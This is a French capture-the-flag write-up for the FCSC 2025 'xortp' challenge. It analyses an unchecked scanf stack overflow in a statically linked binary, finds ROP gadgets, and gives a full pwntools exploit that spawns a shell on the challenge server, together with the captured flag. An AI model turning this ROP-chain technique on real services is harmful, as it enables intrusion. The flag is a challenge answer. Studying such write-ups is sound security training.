On a quoi ?
D’après l’énoncé, on peut demander au service proposé de nous chiffrer des fichiers présents sur le système distant.
Et plusieurs fichiers :
- le binaire
- le code en C
On comprend quoi ?
On commence par analyser un peu ce binaire.
$ file xortp
xortp: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e63dc8ebb3de92c338be2ed7f0590fbbbabd94f6, for GNU/Linux 3.2.0, not stripped
$ checksec --file=xortp
[*] '/home/mk/ctf/fcsc_2025/pwn/xortp/xortp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Quelques points à noter :
- x86_64
- lié statiquement (on aura beaucoup de gadget dans le binaire)
- PIE n’est pas activé, donc le code ne sera pas chargé à une adresse aléatoire
Cette fois pas besoin de décompiler on a le code source fournit :
#define BUF_SIZE 128
ssize_t get_otp(unsigned char *k, const size_t n)
{
int fd = open("/dev/urandom", O_RDONLY);
if (fd < 0) {
return -1;
}
if (read(fd, k, n) < 0) {
close(fd);
return -1;
}
close(fd);
return n;
}
ssize_t read_file(char *fn, unsigned char *m)
{
int fd = open(fn, O_RDONLY);
if (fd < 0) {
return -1;
}
ssize_t n = read(fd, m, BUF_SIZE);
if (n < 0) {
return -1;
}
close(fd);
return n;
}
int main()
{
char filename[BUF_SIZE];
unsigned char m[BUF_SIZE];
unsigned char k[BUF_SIZE];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
system("ls -ld *");
printf("Which file would like to encrypt?\n");
scanf("%s", filename);
ssize_t length = read_file(filename, m);
if (length < 0) {
printf("Error: read_file\n");
return 0;
}
if (get_otp(k, length) < 0) {
printf("Error: get_otp\n");
return 0;
}
// Output the XOR result
for (ssize_t i = 0; i < length; ++i) {
printf("%02x", m[i] ^ k[i]);
}
printf("\n");
return 0;
}
Le programme :
- lit le nom d’un fichier soumis par l’utilisateur
- lit au maximum BUF_SIZE (128 octets) dans ce fichier et les place dans
m
sur la stack - génère un mot de passe à usage unique de la longueur précédement lue, le stock dans
k
sur la stack - nous affiche le XOR octet par octet des deux buffers précédents
Que faire ?
On peut vite voir que la longueur du nom de fichier saisi n’est pas vérifiée.
On devrait pouvoir déborder du buffer filename
, écraser la sauvegarde de RIP et prendre le contrôle du flow d’exécution.
Le binaire est lié statiquement, sans la protection PIE, on devrait pouvoir trouver une ROPchain pour lui faire exécuter system("/bin/sh")
Une contrainte, notre payload doit commencer par le nom d’un fichier valide et accessible au programme sinon il quitte.
Comment
C’est une ROPchain classique, on a besoin de :
- adresse d’un gadget ret
- adresse d’un gadget pop rdi
- adresse de
system
- adresse de la chaîne
/bin/sh
ROPgadget --binary=xortp | grep ' : pop rdi ; ret'
0x0000000000401f60 : pop rdi ; ret
ROPgadget --binary=xortp | grep ' : ret' | head
0x0000000000401016 : ret
objdump -S xortp | grep system
000000000040a3c0 <__libc_system>:
strings -t x xortp | grep '/bin/sh'
98213 /bin/sh
Où sont les buffers :
On désassemble le main
dans gdb :
0x0000000000401834 <+101>: lea rax,[rbp-0x90] <== filename
0x000000000040183b <+108>: mov rsi,rax
0x000000000040183e <+111>: lea rax,[rip+0x957fd] # 0x497042
0x0000000000401845 <+118>: mov rdi,rax
0x0000000000401848 <+121>: mov eax,0x0
0x000000000040184d <+126>: call 0x40a720 <__isoc99_scanf>
0x0000000000401852 <+131>: lea rdx,[rbp-0x110] <== m
0x0000000000401859 <+138>: lea rax,[rbp-0x90] <== filename
0x0000000000401860 <+145>: mov rsi,rdx
0x0000000000401863 <+148>: mov rdi,rax
0x0000000000401866 <+151>: call 0x40175d <read_file>
0x0000000000401893 <+196>: lea rax,[rbp-0x190] <== k
0x000000000040189a <+203>: mov rsi,rdx
0x000000000040189d <+206>: mov rdi,rax
0x00000000004018a0 <+209>: call 0x4016e5 <get_otp>
Et sur la stack :
gef➤ x/150gx $rsp
0x7fffffffda00: 0x00007fffffffdb28 0x0000000001a0c23d #[RSP]
0x7fffffffda10: 0x00000000004ccff8 0x0000000000000001
0x7fffffffda20: 0x0000000000000000 0x0000000000000000
0x7fffffffda30: 0x0000000000000000 0x0000000000000000
0x7fffffffda40: 0x0000000000000000 0x0000000000000000
0x7fffffffda50: 0x0000000000000000 0x0000000000000000
0x7fffffffda60: 0x0000000000000000 0x000000000049b6ea
0x7fffffffda70: 0x00000000004cd388 0x00000000004c0e40
0x7fffffffda80: 0x00000000004ccfd0 0x0000000068308f53
0x7fffffffda90: 0x00007fffffffdbb8 0x0000000000480ae0
0x7fffffffdaa0: 0x0000000000000000 0x00000000004c0e40
0x7fffffffdab0: 0x0000000000000000 0x0000000000000000
0x7fffffffdac0: 0x0000000000000000 0x00000000004ccfd0
0x7fffffffdad0: 0x0000000000000000 0x00007fffffffdb28
0x7fffffffdae0: 0x0000000000000000 0x00007fffffffdb30
0x7fffffffdaf0: 0x00000000004cd388 0x0000000000425364
0x7fffffffdb00: 0x4141414141414141 0x4242424242424242 <== filename
0x7fffffffdb10: 0x00000000004cd600 0x00000000004c47e0
0x7fffffffdb20: 0x0000000000000140 0x00000000004c47e0
0x7fffffffdb30: 0x00000000000000a0 0x00000000004c06d8
0x7fffffffdb40: 0x0000000000000006 0x00007fffffffdbb8
0x7fffffffdb50: 0x00007fffffffdbc0 0x0000000000488fc3
0x7fffffffdb60: 0x0000000000000000 0x0000000000000000
0x7fffffffdb70: 0x00000000004c5240 0x0000000000000000
0x7fffffffdb80: 0x0000000000003928 0x00000000004894b3
0x7fffffffdb90: 0x00000000004c06f0 0x0000000000401c54 #[RBP]
gef➤ x 0x0000000000401c54
0x401c54 <__libc_start_call_main+100>: 0xe8000071d5e8c789
On a l’emplacement du buffer que l’on contrôle et de l’adresse de retour du main
(main
retourne dans __libc_start_main
)
Si on envoie 19 * 8 octets on écrase la sauvegarde de RBP et on commence à écraser la sauvegarde de RIP.
On peut donc préparer notre exploit :
from pwn import *
from time import sleep
exe = context.binary = ELF('./xortp')
HOST = "chall.fcsc.fr"
PORT = 2105
s = connect(HOST, PORT)
pop_rdi = 0x0000000000401f60 # pop rdi ; ret
ret = 0x0000000000401016 # ret
bin_sh = 0x498213
system = 0x40a3c0
payload = b"flag.txt\x00"
payload += b'A' * (8 * 19 - len(payload))
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
print(s.recv())
s.sendline(payload)
s.interactive()
$ python3 exp.py
[+] Opening connection to chall.fcsc.fr on port 2105: Done
[*] Switching to interactive mode
-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt
-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp
Which file would like to encrypt?
59392920faf96826649c2a2d15f116ad545fc9519a4fefccd744b2262017476e7b47a2ff7c42027d5927f015294dbabe0959c88b9b121e921539445dd1070612c8adf126670cda
$ ls
flag.txt
xortp
$ cat flag.txt
FCSC{5f6162c46e47b68ad0d1b4a5e12404ad51431b197e37ff79ef940787fecfb554}